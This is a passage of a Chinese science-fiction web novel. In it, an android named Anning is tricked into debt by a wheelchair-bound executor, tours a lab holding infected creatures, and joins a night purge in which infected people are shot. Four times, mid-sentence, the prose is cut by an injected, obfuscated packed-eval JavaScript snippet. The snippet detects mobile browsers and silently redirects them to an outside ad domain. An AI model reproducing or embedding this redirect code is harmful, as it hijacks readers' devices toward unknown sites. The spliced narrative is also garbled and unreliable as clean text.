两人一时片刻都成了哑巴,安宁调开智脑投影,权做纸用,在上面划拉写下几个字递给他。 【谢谢您】 【不用谢。】 【我叫安宁,您能告诉我您的名字吗?我还不知道您叫什么呢】 【没有名字,你随意。】 安宁友好建交的第一步宣告失败,哪有人类会没有名字?连她这个仿生人都有名有姓,不愿意告诉她也不找个像样点的借口。 过会儿功夫阻断针的副作用已经消散,安宁清了清嗓子找回自己的声音,把智脑退出投影,结果被吓了一跳。 手腕智脑屏幕的左上角,余额赫然显示着: 【-199,999,980】 “这…这这……!”安宁不可置信。 个,十,百……千万,亿! 一亿九千九百九十九万九千九百八十,联邦币。 负的! 她张了张嘴,刚好转的嗓子差点破音:“怎么会这样!” 他不紧不慢地转动轮椅,仿若未闻打开卧室门去了客厅,安宁连忙追上。 客厅和他的卧室一个风格——喝西北风。 总而言之就是除必要物品外什么都没有,简便到不能更简便,北极圈也比这屋子多几分人类活动痕迹。 他将桌上的保温盒递给安宁,她打开一看是份饭。 饭…… 粒粒分明的莹白米饭上右半边铺着鲜脆的绿叶菜,左半边黑椒土豆煎牛排塞得满满当当,还散着热气,令人食指大动的香味飘满屋,这份饭温馨日常得和整个房间,啊不,整个世界都截然相反。 安宁由衷地想赞美这份饭。 饿啊。 现在可不是饿的时候。 他看向安宁:“不是饿了吗。” 安宁甩甩头唤醒理智:“这个‘-199,999,980’,一定是智脑出问题了对吧。” 他点了点头,正当安宁要松口气时,轻飘飘地道: “不是。” “你拿走的那枚螺丝,2亿联邦币。” 安宁表情空白一瞬,实在没忍住发出了疑惑的一声“啊?”。 反应半响,她“呵呵”地尬笑几声:“您别开玩笑了。” “真的。” “……” 安宁绝望地看着智脑上的数字沉默,数字成串成串在她眼前飘啊飘,把刚升起的同情愧疚都吹到了九霄云外。 什么鬼的她有罪!她的罪赎清了。 安宁以生平最快速度做出了决定,她连连摆手,在他后头急切道:“长官,要不我把螺丝还给您吧,突然觉得缺一条胳膊也不是大事,这世上也是有很多人……” 安宁想起他的身体状况匆忙止住嘴,惹他生气就更糟了。 他倒没在意,脾气很好地说:“β504螺丝是生物膨胀型螺丝,安装后融入血肉,成为身体的一部分,拔不出来,也无法进行二次使用,所以你想还也没办法还了。” “大人,这天底下什么螺丝这么贵……两亿?” 难不成是将上帝他老人家蒙上黑麻袋一棍子敲晕磨成粉送进炼丹炉上下业火历经九九八十一难烘烤得香香脆脆做出来的?! 您这不是摆明了毫不遮掩的漫天要价吗。 “S001科研所被销毁后,β504型号的东西都无法再生产,两亿不贵。” 不贵? 她欲哭无泪:“您就是把我挨个零件拆掉,卸胳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108794|164021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膊卸腿卖了也还不起。” 他仿若未闻,不紧不慢地拆开一副新餐具,放在安宁面前,二人同时开口。 “谢谢您,我不吃。” “饭是免费的。” …… 安宁往腮帮子里塞下最后一口饭。 她仍然试图挣扎, “先生……” 他不紧不慢地往房门外去了,安宁撂下碗筷小跑几步追上。 她接过轮椅:“怎么能让您自己推呢?您别累着了。” 出了门,整个走廊都是熟悉的黑色墙壁和冷白灯光,安宁判断出她仍在塔里,醒来的地方是他在塔的房间。 “先生,我承认偷螺丝是我的不对,早知您这么英明神武借我八百个胆也不敢偷啊。” 安宁按照他的指令推他走,说东坚决不往西。 “执行官大人。”巡逻组停下脚步,低头对他行礼。 安宁也跟着将称呼变成了“执行官大人”,他又不肯告诉她名字,她只好“先生大人长官执行官大人…”之类的尊称轮番上阵,期盼着能以真挚的态度唤醒他或许还有但绝对所剩无多的良知。 “执行官大人,”越过巡逻组,安宁弯腰凑在他旁边,压低声音,边走边说,“老话说救人一命胜造七级浮屠,救人条胳膊也能胜造半级浮屠的,您大人有大量饶了我吧。” “我没工作没存款,您也看到了那里面只有二十…负一亿九千九百九十九万九千九百八十联邦币,别说还了,不过几天饿也会被饿死的……” 二人停在了电梯前,电梯只有下行按钮,他按亮按键。 执行官垂着眼沉思片刻,略显勉为其难:“你可以在我身边工作。” 安宁眼睛亮了:“……包食宿吗。” “可以。工薪每月三千。” 她打一辈子工也还不清这笔钱,于是干脆放弃挣扎,她没忘记自己的首要目标——找芯核,总之这段时间内饿不死就行。 安宁生怕他下一秒反悔立刻说“好”。 执行官看她一眼:“不问一下是什么工作?” 安宁想了想:“您要是想害我性命,就没必要为我打阻断针了。” 电梯平稳无声,下坠感几不可查,只有一瞬幻觉般的耳膜嗡鸣。 不过几秒,电梯接入的智脑机械提示音响起: “G1-科研层。” 二人出了电梯,通过满是白色酒精喷雾的消毒通道,停在金属门前。 “权限提示,您好,您的权限……S+最高级别,已通过。” 金属门自动打开,飘出一股刺骨寒气,大大小小的实验玻璃容器映入眼帘。 所有透明玻璃容器都安置在展示台上,恒温装置背面连接着营养液供给管,墨绿色液体不断注入,又从排液管流出,玻璃罐里面咕嘟咕嘟地冒着细密的气泡,一团团不可名状的血红物体浸泡其中,神秘而诡异。 是感染体。 穿过它们往里走,研究室深处,一面足足三十米高的玻璃水墙出现在安宁面前。 一片静寂。 耳边只有水流声和机器运作的细小嗡鸣。 同样墨绿到发黑的浑浊水体,水中漂着细如发丝的血线,压迫感如同站在裹挟着未知深海生物的海啸脚下,几乎令人难以呼吸,胸闷气短。 “既然要工作,为了你的安全,先了解关于感染体的基础知识。” 5. 黑心 水体透过玻璃看可见度不足半米,安宁贴在玻璃上想看得清楚一些,突然,一只血红触手翻起巨浪,“咚!”地击在她脸前,带着欲将玻璃震碎的力道。 “干嘛呢干嘛呢!离感染体远点,谁让你们俩不换防护服就进来的。” 巨大水墙旁的隐藏门向两侧打开,一个从头到脚被包裹在白色防护服,带着玻璃头罩的人走出来。 来人是个年纪七十上下的白须老头,显然是这里的科研人员,走路背微驼,声音倒是中气十足。 “说了多少遍进这儿要换防护服。”老头一把推开执行官,“你就算了,你,过来。” 他向安宁招手示意她过去。 执行官道:“她刚打过阻断针。” “你从我这儿拿的阻断针我能不知道?打过也得换。” 老头接着道:“别怪我啰嗦,不是谁都像你S……” 执行官淡淡扫他一眼。 “艾…” 老头被他那一眼噎得话卡在喉咙里不上不下,硬是转了个弯儿,在防护头罩里的脸险些憋缺氧才顺出来。 “爱死…我是说你爱死就死,人家小姑娘活得好好的,不能不注意点嘛……” 老头把安宁拽离研究室,通过消毒通道返回到入口处,入口右侧有个换衣间,他刷开门将安宁塞了进去。 老头拧开金属柜子,拿出一套崭新防护服,示范穿法后扔给安宁:“穿上吧,套在衣服外面就行。” “那小子说得倒也没错,阻断针注射后四十八小时内就算你被感染体咬一口都不会被传染,而且实验室玻璃防击打性能很高。” 他说着说着显然是想起来昨晚的意外,肉眼可见的尴尬心虚,“虽然这么说没什么信服力,但你们俩昨晚遇到的感染体暴乱从实验箱逃脱的情况绝对是有史以来第一次哈哈哈……” 他摇头晃脑地说,安宁好不容易才看清他胸前别着的金属工作牌: 【聂远山,G1科研层】 安宁边套防护服边问:“聂博士,执行官为什么不需要穿呢?他甚至没打阻断针。” 老头随口道:“他不会被感染。每届最高级别执行官都不会被感染。” “为什么?” “嗯…这个嘛…”老头声音突然变小,在防护头罩的玻璃阻隔下安宁没听清。 “您说什么?” “小姑娘换个问题,就没什么别的想问的?” 安宁回想了一下,她醒来后就潜进塔偷螺丝,阴差阳错地成了执行官的手下,除开书卡馆输入了一点信息外对这个世界一无所知,确实有很多疑惑的地方,比如:“塔和最高级别执行官是干什么的?” 老头乐了:“还真是什么都不知道。” “塔从末世后第二世纪,也就是N2世纪后期开始建立,到N3世纪初期建成,目的是维护秩序保护人类安全,不过现在…N4世纪的塔…”他抬头,竖起食指往上点了点,“不如说是执行上头命令更为准确。” “执行官们隶属于塔,而最高级别执行官只有一人,所有下级听他调配,在这座塔里职位最高,权限最高,作战能力最强。” 安宁正往头罩里塞脑袋,差点闪了脖子。 前两个倒是不出意料,但最后一个…… “什么最强?” 安宁努力去想执行官坐轮椅“唰唰唰”地打架是个什么画面。 想不出来。 虽然和执行官相处不到一天,但他给她的印象绝对和这四个字不沾边。 一是腿疾,安宁虽没亲眼见过他的腿不知伤势如何——他们之间远不到可以让她亲眼看的关系,但现在的医疗水平安装义肢已经非常普遍,为什么要使用轮椅? 有两种可能:身体层面腿伤特殊,肢体末端受损严重到无法承担永久性义肢,或者心理层面抗拒,又或两者皆有。 二是要命的咳嗽,他动不动就毫无预兆地咳得石破天惊,脸色苍白,一副病秧子样儿。 也许是安宁的震惊太过明显,老头颇有几分幸灾乐祸地拍了拍安宁肩膀:“明天就和他去执行任务了吧,我听他说你会在他身边留一段时间,到时候看看就明白了。” 安宁耳朵敏锐地捕捉到几个字眼。 什么叫……“听他说你会在他身边留一段时间”? 安宁与他达成约定是在电梯里,而从进入科研层开始执行官和老头说的话里并不包含这个信息。 也就是说,执行官在之前,很可能在她昏迷时,早在向老头取阻断针时就谋划好了“她会留在他身边工作”。 也就是说——那段对话,从开始到结尾他一直在…… 故意引诱她。 安宁沉默了。 多么阴险的人类! 竟然有这么多心眼! 刚进入人类社会就体会到了其中险恶的安宁半个魂儿已经飞天,轻飘飘地问:“……那螺丝呢?世界上有没有什么,价值两亿的螺丝?” 老头大惊:“什么螺丝值两亿?!你说说看我能不能做出来,发家致富新秘籍啊。” “聂博士……”安宁的声音更加幽幽,“工薪呢?我是说,你们这儿最低月薪是多少?” “十万联邦币。” 一股悲愤强行将安宁半个怨魂拽了回来,她一把拉开更衣室的门,穿过雾气重重的消毒通道往回走,她觉得自己现在的步子一定像只愤怒的鸡,手臂像螃蟹挥舞着的钳。 讹人两亿工薪三千,黑心的资本家,万恶的执行官! 脸部红心不跳说得跟真的一样,简直令人发指。 脸不红心不跳的执行官面朝着感染体水墙,静默地垂着眼不知在想什么,水波幽光映在他脸上倒是显得很温顺,听到动静侧过头朝安宁礼貌地笑了笑。 笑得很好看。 但安宁绝不会被他这幅表象骗了。 她得和他好好算清楚账。 “干什么去?正事还没说呢,那小子让我给你介绍感染体。” 老头一把拉住双眼冒火的安宁:“言归正传啊,要是你明天因为没了解清楚感染体习性遇到危险可糟了。” “诶……我!” 还没待她说话,实验室的灯“啪”地一下全被关闭了。 静默的黑暗中几十上百的实验体水箱里亮起冷淡理性的蓝光,浑浊的溶液被照亮,折射在地面上细碎粼粼。 老头也不管安宁心思在不在,自顾自地走到入口处开始讲起。 安宁三步一回头向执行官投掷凶恶的目光,无奈执行官八风不动,维持着他那一成不变的微笑目送她。 效果甚微。 安宁只好暂时按下怒火,分出一只耳朵听讲解。 “病毒在N1世纪第一次出现,在N2世纪泛滥,N3世纪得到一定程度控制,到现在的N324年已经经历了第一千三百八十七代的迭代演变,每个版本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108795|164021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的病毒特性各有不同,但它们的一致目的都是将人类变成繁衍进化的温床,让人类的肉躯变成它们最好的养料。” 入口处的超低温冷冻储存库旁有着一张展示病毒的演变进程的示意图,聂博士戴上摆放在一旁的厚手套,打开储存库的锁,白雾带着寒气扑面而来,头罩玻璃上瞬间结了几个星星点点的薄冰花。 他捞出一个带着警示标志的双层套管液氮罐,上面的标签写着: 【病毒名:VITANOVA-1】 【制作时间:N092/04/23】 【制作者:唐信时(N060—N093)】 “这里面封存着的是N1世纪出现的第一代病毒,类似的样本每代都有留存,就不一一拿出来了。” 聂远山给安宁展示后便将病毒样本放了回去,锁柜子摘手套,往前走了两步,停在下一列实验台前。 “和感染体打交道时,如伤口暴露、空气传播、分泌物接触等都有被感染的风险,所以一定要做好防护。” “我们根据病毒对人体的浸润程度以及播散侵略情况进行了分期,从轻到重分为潜伏期、一期、二期、三期和终期。” “潜伏期外表如常,仅通过血液筛查可检测;一期表皮呈轻微腐烂状,刺激臭气味,人类意识无影响;二期失去人体形态,部分仍存有意识,清晰程度因人而异,部分具有攻击性。” 他接着道:“三期无意识留存,具有强烈攻击、强腐蚀、强传播性,体型巨大,水墙里装着的就是一只三期感染体;终期……我们暂时没有足够多的数据,无法下定结论。” 安宁根据所得信息,按照时间顺序整理了一下她见过的感染体: 方钰处于一期,追着她和执行官跑的感染体处于二三期临界点,工具房内被执行官杀死血溅到她脖子上的是二期,水箱里的是三期。 安宁点头表示明白,她又好奇地问:“既然三期已经这么可怕了,那您见过终期感染体吗,它长什么样?” “十年前见过一次。” “是怎么见到的呢?” 老头向执行官的方向指了指:“他年轻时腿还没残,十八九岁年轻气盛天不怕地不怕,抓来给科研所当样本的。” 执行官的十八九岁…… 安宁远远地透过水箱看向执行官,他们之间相距很远,几乎在实验室的对角,视线被玻璃水箱遮挡。 他一个人坐着,身影被水流不断扭曲重组,又缓缓归于平静,面对着封禁在三十米高巨大水箱里的狂躁的感染体,背影沉默而寂然。 有一瞬间……她莫名感到悲伤。 突然间她对他所有张牙舞爪的愤然消散了,不是被浇了一盆冷水的消散,而是一阵风轻轻拂过吹熄了的消散。 算了……她想。 她决定不和他计较了。 她毕竟是个善解人意的仿生人。 讲解完,灯重新开了,三人离开实验室。 “感染体数量点清了?”执行官道。 “一个不差,巡逻组都抓回来了。”老头顿了顿,“切片还在送检,昨晚感染体撞破实验箱从通水管道在塔里四处流窜,G1-3巡逻组最先发现,塔内以最快速度进入了戒严状态。” 他摘下头罩,捋了几把乱糟糟的白发,收起玩笑神色,对执行官道, “不知为何最近感染体总是躁动异常,明天的清理行动,别掉以轻心。” 6. 论坛 深夜,二十三点半。 安宁怀里抱个沉甸甸的袋子从塔中走出来,里面装着作战型防护服、战术手套、护目镜、通讯器等等明天执行任务的所需物品。 她顺着满是尘沙的荒凉道路往执行官交给她的住处走。 那位可怜的沈卓先生早在她打阻断针昏迷的时候就被搬回了塔里,重新安回了芯片。 她抬头看了看,假天幕一片漆黑,今夜的模拟代码没有生成星云。 既然方钰和小女孩看不到,那执行官呢?聂博士呢?他们能看到吗? 天幕为什么是假的,它的顶上有什么? 她直觉和自己的芯核有关联。 执行官看起来无比温和,但他们之间彼此并不了解,她甚至不知道执行官绕着弯儿留她在身边的真实目的。 他知道她用螺丝修好胳膊,自然也知道她是个仿生人。 她可以得意地说,自己比市面上大多数呆头呆脑的仿生人都制作精良,但除此之外也没什么可图谋的了。 安宁想不明白。 不过先不论执行官的真实目的,安宁决定留在塔里并不只是为了混口饭吃,也不只是被他坑蒙拐骗得晕头转向一时脑热,既然塔掌管着这个世界的运行,她想多少能为自己找到芯核提供帮助。 她醒来后看到了很多G1开头的东西,比如塔里的工具房号以及实验室,而书卡馆中那张历史记录书卡则由G9电台制作,安宁觉得它很像楼层的标记方式。 如果将她目前身处之地当做G1,那G9在哪里? 她望着黑压压的遥望无边的天,它空无一物,只有塔耸立其中。 ……但在人们的头顶建立另一个世界的想法是不是太荒谬了? 她在塔里的权限还很低,如果没有执行官带领,只能在标记着G1开头的区域活动,但完成这次任务之后权限就会提升,到时得到更多信息,也许关于芯核的下落会有新进展。 安宁甩甩脑袋,无论如何先做好明天的任务才是关键。 夜风微凉,吹来一丝泛着腥臭的铁锈味儿,她轻轻皱了皱鼻子,细微的气味难以捉寻。 一路走过来,核心区最醒目的建筑物便是塔,其次是几个三层多栋以连廊相接的纯白建筑群,主楼正中心挂着个金色正三角形标志,之外便是塔中工作者的住所。 像方钰的普通人都居住在外城区,那里有营养液贩卖,也有书卡馆之类的东西,核心区则与之相反,不为民众生活而存在。 住所距离塔不远,只花了不到十分钟。 芯片刷开电网门,迎面来了一队女性巡逻组。 她们道:“您好。” 巡逻组仍是一模一样的恐怖谷谷底长相,穿了一身黑,夜色里只剩个头。 安宁看着一排石膏面孔,黑瞳孔大而空洞,微笑阴冷,宛如安娜贝尔的浮空人偶头飘过来,不免愣了愣,闪开身让她们通过:“你们好。” 根据执行官所说找到位于核心区与外城区交界,紧挨着隔离电网的017号楼,安宁顺着户外楼梯走上三层,301房间就是住所。 打开门,房间很小,比起执行官在塔里的休息室可谓逼仄,单人床、一套桌椅、站不下两个人的厨房、淋浴和洗漱台没有分隔的卫生间,一切采取最简单的布置。 房间看起来已经很久没人住了,但显然被打扫过,不仅生活用品一应俱全,连被子都已经铺好,房间里散发着干净的清洗液气味。 安宁感觉很满足。 她把怀里袋子放在桌子上,拉开椅子坐下,打开左手腕智脑的全息投影。 时间显示23:43,仿生人系统里高级警报的死亡倒计时还剩72天。 她的智脑被分为了两个系统,一个为仿生人系统,另一个为人类系统,这两个系统各自隔离,互不相通。 由于芯核的缺失,安宁通过仿生人系统仅能接收到生命警报提示,无法进入系统内部。 令她意外的是,离开塔之后人类系统被激活了,她猜测也许是因为成为了塔的工作者,获得了权限。 安宁打开人类区域网准备继续学习一些知识。 G1人类区域网主要提供了论坛和与联络两个功能,论坛用来交流,联络则是向塔联络。 她点开论坛,发现自己的昵称是“福贵”。 ?????? 安宁满头问号。 难道是系统自动生成的默认名? 她试探着戳了戳,界面蹦出来一条提醒: “修改后100天内不可更改,特殊情况请向塔提出申诉。” 被人改过了。 不用想是谁,她只接触了一个人。 安宁无语。 有礼貌的执行官,怎会如此恶趣味。 虽然执行官恶劣地拿她寻开心,但对其“扣了两亿联邦币致使她负债累累,还把她的昵称改成福贵”的捉弄人行径安宁依然大人有大量——以她的审美这名字不错,是个美好寓意。 安宁接着浏览论坛,她点入最顶头飘着的标着new的新帖子。 标题:“没人听到奇怪的动静吗???” 主楼:本来很寻常的二十三点下工,搭工区往外城区的轨道车回到家正好二十三点半,突然听到外面有奇怪的动静,先是窸窸窣窣的,然后是巨凄厉的一声尖叫,动静大得应该大家都能听到吧…… 1L:没啊……你的错觉吧。 2L:LZ住哪个区? LZ回复2L:挨着核心区的6区。 4L:我也住6区,没听到+1。 LZ:大家都没听到搞得我更害怕了TT,不知道为什么感觉很不安,会不会是变异动物…… 6L:太平得很,马上24点要断网断电了,快洗洗睡吧,胡思乱想有什么用。 7L:也有可能是芯片坏了产生的幻听,你可以主动递交申请等塔批下来修理资格,真坏了的话智脑的定期自检也会提示,我前些日子刚修完,挺快的,LZ要是不懂流程可以私我。 LZ回复7L:SOS千万别坏,不想去修理,不想见到巡逻组,也不想见执行官们TT。 8L:笑死,LZ在害怕什么? LZ回复8L:不知道,一种莫名其妙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108796|164021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 源于基因的深层恐惧,有人懂吗。 10L:+1 11L:+2 …… 26L:+10086,而且年纪越大越容易瑟瑟发抖是怎么回事。 27L:你这么一说我也觉得。 28L:楼上都好爱跟风,能不能理智点,上次在工区碰到的执行官,虽然气场强但人看着很温柔包容(ps肩宽腰窄腿长),哪里可怕???深井啊??? 29L:同觉楼主胆子太小。 30:28L还说别人,没看出颜狗哪里有理智? LZ:别吵架别歪楼啊……我真的又听到奇怪的动静了,就在我家墙根,像老鼠嗑东西的声音,但是从声音大小判断这老鼠得有一米多长…… “滴——” 短促的声音之后论坛界面一片纯白。 同时,房间的电灯也熄灭了。 二十四点,断网断电。 安宁再刷新的时候论坛浮出一行小字: “已关闭,可使用时间为23:00~24:00。” 她走到窗前,论坛发出的微光令玻璃映出她的身影。 过了几秒,光自动熄灭后,外面的景象变得更清晰。 不仅仅是住所断电,路上的灯也都被掐断,加之无星无月,整个世界都像被蒙在不透光的布里,呈现出一种纯粹的,仿若一体的黑。 安宁拉开窗子往外瞧,她的视力比人类好上一些,但仍如同眼盲般什么都看不见。 在这样的环境中,听觉变得尤为敏感。 安宁屏息凝神,竖起耳朵,捕捉到轻微的窸窸窣窣的声音。 她从袋子里翻出护目镜架在鼻梁上,调整到夜视模式。 眯起一只眼,旋钮拉进,再拉进。 眼前街景摇晃放大,定格在核心区与外城区交界的隔离电网之处。 本应无人之地出现了一个身影。 是个女人。 女人转过头来,一张骇人面孔劈头盖脸地闯入安宁眼中。 面孔已全然腐烂了,融化般滴答滴答地淌着组织液,盯了半晌,安宁从那张面孔中勉强辨出几分熟悉的影子。 不是别人,正是方钰。 饶是她动作再快,赶到地方时人已经没了踪影。 她站在原地,喘息未定。 突然,一缕红蓝交替的警报灯撕裂夜幕,安宁眯了眯眼。 接连不断的警车从塔中飞驰而出,警笛声与摩托的引擎轰鸣汇成一片嘈杂,电网急促锐鸣,空气震颤。 似有所觉般,安宁回过头。 暗角处,执行官一身黑风衣制服融进夜色,他倚墙站着,神色淡淡地握着一把安装着消音器的手枪,枪口冒烟。 他没再坐轮椅,可拆卸义肢掩在修长的裤腿里。 同时,安宁赶来前急忙塞入耳朵的通讯器发出滋啦滋啦的电流音—— “紧急通告,相关小组:B7、C2、E9、F12、H3、K19组注意,G1第192次清理行动提前。” “重复,G1第192次清理行动提前。” 7. 清理 执行官抬起眼皮,似有似无地向她这处扫了一眼,也许是半眼,或者根本没看她。 他朝后方道:“处理好了就抬走。” 巡逻组面无表情地用担架抬出来一个女人,眉心中枪,已然死了,不成人形的身体还在抽搐。 他们把女人丢在塔前的空地上,安宁这回不用夜视镜的放大功能也看得清,是方钰。 “砰!砰!砰!” 宛如火线引燃,几秒之内枪声四起。 “035报道。” 一道尾音拉得凉丝丝的声音传入耳。 来人是个男子,面容瘦窄,眼尾狭长。他目光投过来的瞬间,安宁升起隐约不适,仿佛被蛇类冰冷的鳞片刮蹭了一下。 自称035的男子提着一具余息仍存的感染者尸体过来,漫不经心地扔在方钰身上。 暗夜里,刺目的车灯晃过来,一辆摩托急停在执行官面前,身着作战服的一男一女翻身下车,安宁认出这是她在塔外曾见过的那两人。 077向执行官汇报的声音不甚明晰:“长官,电网警报被异动触发,有感染体闯入核心区,智脑指示清理提前。” “知道了。” 事出突然,执行官用了几息时间重新整理分配人手,规划行动,077周转调度,其间又来了十余位执行官,立在一处垂手待命。 035得闲,吐信子似的环视一圈,目光定在了安宁耳上的传讯器。 他锐利地直直看向她,自言自语笑道:“这是谁啊,生面孔。” 还不待安宁开口,一道声音便插了进来。 “我表舅邻居家三婶的麻友在青椒肉丝馆相识结拜兄弟家里的二妹妹,来打打零工,怎么了?” 066沈卓“啧”了一声,接着道:“你很闲的话,不如把我的区也清了。” 077刚忙完便听了一耳朵这番胡扯,烦躁地抓了几把红发,卸下背后的枪单膝蹲在地上检查弹药和性能。 035冷笑:“你的作战水平,我想需要多一些锻炼才能不在下次执行官测试中被踢出局。” 066竖起食指摇:“哈哈,测试可从来不止是打架。倒是你,不好好回你的监察庭呆着,总来和我们这些干脏活的凑什么热闹。” 035:“你意见很大?你的长官还没说什么呢。” 066晃脑作揖:“可不敢。” 安宁正感叹此二人可真健谈之际,那处商讨已毕。 执行官听不出语气地说了句“过来”,安宁反应了几秒才发现他是在和她说话,于是很有当一个下属的自觉,快跑几步到他身边。 执行官身上带着一股夜风的凉气,混着血腥味。 他不动声色地错开半步,安宁被微妙地拢在了他身形所投出的阴影里。 没人插这位最高统领者执行官的话,035和066同时默契地闭了嘴,打得有来有回的嘴仗藕断丝连地宣告休战。 执行官语气冷淡:“本次感染者名单已通过智脑传讯至你们的通讯器里,各自确认分区,由外城区向核心区清理,截止时间凌晨四点,注意不要错杀遗漏。” 除了他单独负责一块区域外,其他人两两一组,各自前往开始了清理任务。 外城区的住宅建得低矮且蜂巢般紧密,巷道通路很窄,视野受阻,障碍物杂多。 但这对清理行动的展开没有丝毫影响。 破乱老旧的住宅街区的立体透视图像实时投影在夜视仪上,热成像下所有活物一目了然。 植入芯片发挥着定位作用,化作闪烁红点显示在夜视仪上,感染体如同被收入袋中的蝗虫般流窜,在逐渐收紧的天罗地网中徒劳挣扎,无处躲藏。 这位最高级别执行官的枪与其他执行官的略显不同——大家或多或少都会弄些辅助设备,做一些改装,如加配自瞄仪、AI信息分析器、稳定器或者火力增幅等等功能,虽说不少也是花拳绣腿可有可无,但提供的便捷不可否认。 与之相反,他的枪却是最普通的型号,没有疑惑很久,安宁很快亲眼领略到了他为何不需要: 因为他本身就是最精密的一款机器,足以让任何科技尖端的产品自愧弗如。 他很熟练,毫无犹豫,无论感染体处于何种情态——意识清晰的或不清晰的、哭泣恳求的或呆立愣怔的、婴孩男女,都能无动于衷地扣动扳机。 子弹没入眉心,感染体不急反应就已经没了生息,只余神经反射无力抽动。 绝对的效率和精度。 安宁有一瞬间觉得执行官比她更不像人类。 掌心传讯仪的地图呈辐射状圆形,其上以红绿两色划分未清理与已清理区域,他们二人所在的6区的绿色区块飞速增涨,不出半小时便破竹般比其他区突出一截。 在执行官又处理掉一个感染体,尸体被巡逻组拖走,他更换弹匣的间隙里,安宁忍不住问:“他们……不害怕吗?” 一个一个人被杀死,枪声不绝于耳,人们却只是躲藏瑟缩,并无其他反应,实在太奇怪了。 执行官说:“他们看不到。” 安宁最近着实对“看不到”三个字很敏感,狠狠地打了个冷战。 街角的废弃仓库卷帘门半开,二人弯腰矮身进入,破旧的机械零件散落一地,地板上满是尘沙,腐朽的金属气息扑面而来。 夜视仪的热成像显示仓库深处藏着两人,其中一人被标记为红点,是个感染体。 锈迹斑斑的钢架背面传来轻微的碰撞响动,那后面是一对中年男女。 “不……不要过来……!” 男声充满恐惧,哀嚎凄厉,恐惧地看着他的妻子。 他的妻子的面容已经腐烂了,是一期感染体后期的模样。 执行官不顾哆哆嗦嗦的男子,一言不发就要向女子开枪。 “不要,不……求求您,至少告诉我为什么要杀死我……” 女子突然颤抖着开口,声音细弱,千万分不解不甘。 在停顿中,一种沉默蔓延开来。 男子不再惨叫了,窝成一团从膝盖缝隙里偷眼瞧,女子含泪半是绝望半是希望地看向执行官。 良久,执行官轻叹,安宁看不出他在想什么。 他移开抵在女子眉心的枪口,蹲下身与其平视,用极度认真的语气,只再三确认了同一句话:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15108797|164021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你真的想知道吗?” 得到了女子的肯定。 执行官摘下手套,伸手摸到中年妇女的耳后,感受了片刻:“一期向二期感染体转变过程中,由于感染体意识和人类意识冲突所产生的脑电波强异常波动,你的芯片已经失效了。” “您……在说什么?” “看看你的手臂。” “我……”中年妇女依言低头看,被自己吓到跌坐在地上,难以置信地惨叫,“啊!” 女子的喉管如同破风箱嘶鸣,发出令人不忍卒听的悲鸣,即将向感染体转化的身体半透明表皮下包裹涌动着有生命般的组织,似要冲破这层束缚。 仿佛感知到了她意志的波动不稳,皮肤下的组织更加猖獗躁动,加速夺取着这具身体的掌控权。 任谁看到自己的身体皮肤下宛如埋藏着无数鼓动的蠕虫似的东西也无法冷静。 感染变快了。 女子尖叫着疯狂在地上打滚,死死地按压在自己的身体上,试图压制那些怪异的组织,可惜感染已经无法控制。 痉挛抽搐的手指异化,扭曲,变长。 血液流淌进满地尘沙,混做一团浑浊黏腻。 她本能地往最亲近的人身边爬动,身后留下一道长长的湿泪般的血痕。 “不……不要……” 男子踉跄着一屁股栽倒地上,腿软得站不起来,双手双脚屁滚尿流地往后退,仓库中的破旧钢材稀里哗啦地被撞翻,披头盖脸砸在身上也顾不上。 他的瞳孔缩成针尖,声音竟比几乎化作感染体的女子更加尖锐刺耳: “变异……老鼠……老鼠!!!” “救我,救救我…!” 一时竟分不清求救声由谁发出。 执行官在她彻底变成感染体的前一秒开了枪。 污血飞溅到男子惊恐万状的脸上,中年女子在他面前不足半米之处停止了呼吸,双眼圆睁,面容可怖。 男子看到执行官杀死它后虽然惊吓未消,但仍对着他感激地笑了笑, “谢谢您清理变异老鼠,不然我要死在这儿了。” 执行官想必听过许多这样的话,并无任何反应,从头看到尾的安宁却一阵汗毛竖起,后背湿凉。 走远后,她回头看了眼仍一动不动的男子身影,没头没尾地问道:“是因为植入芯片?” 